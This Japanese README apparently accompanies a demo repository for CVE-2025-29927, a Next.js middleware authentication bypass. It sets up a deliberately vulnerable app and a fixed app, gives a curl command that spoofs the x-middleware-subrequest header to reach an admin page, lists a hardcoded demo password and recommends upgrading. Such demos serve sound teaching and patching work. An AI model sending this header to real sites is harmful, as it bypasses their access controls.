
このリポジトリには、Next.js バージョン 15.2.2 以前に影響する脆弱性 CVE-2025-29927 のデモが含まれています。この脆弱性により、攻撃者は x-middleware-subrequest ヘッダーを設定することでミドルウェアの認証チェックをバイパスできます。
これは、2つの Next.js アプリケーションを含む NX モノレポです。
Next.js 15.2.3 より前のバージョンには、ミドルウェア実装にセキュリティ上の脆弱性があります。ミドルウェアは x-middleware-subrequest ヘッダーの発信元を適切に検証しないため、攻撃者がこのヘッダーを偽装して、ミドルウェアベースの認証チェックをバイパスできるようになります。
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
脆弱なアプリは http://localhost:3000 で利用できます。
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
修正済みアプリは http://localhost:3001 で利用できます。
アプリは Docker を使用して実行することもできます:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
脆弱なバージョン (15.2.2) では、x-middleware-subrequest ヘッダーを追加することで、認証なしで管理ページにアクセスできます。
修正済みバージョン (15.2.3) では、ミドルウェアがこのヘッダーの発信元を正しく検証するため、ログインページにリダイレクトされたままになります。
デモ用に、次の認証情報でログインできます:
adminpassword123本番環境で Next.js を使用している場合は、この脆弱性から保護するために、バージョン 15.2.3 以降に更新してください。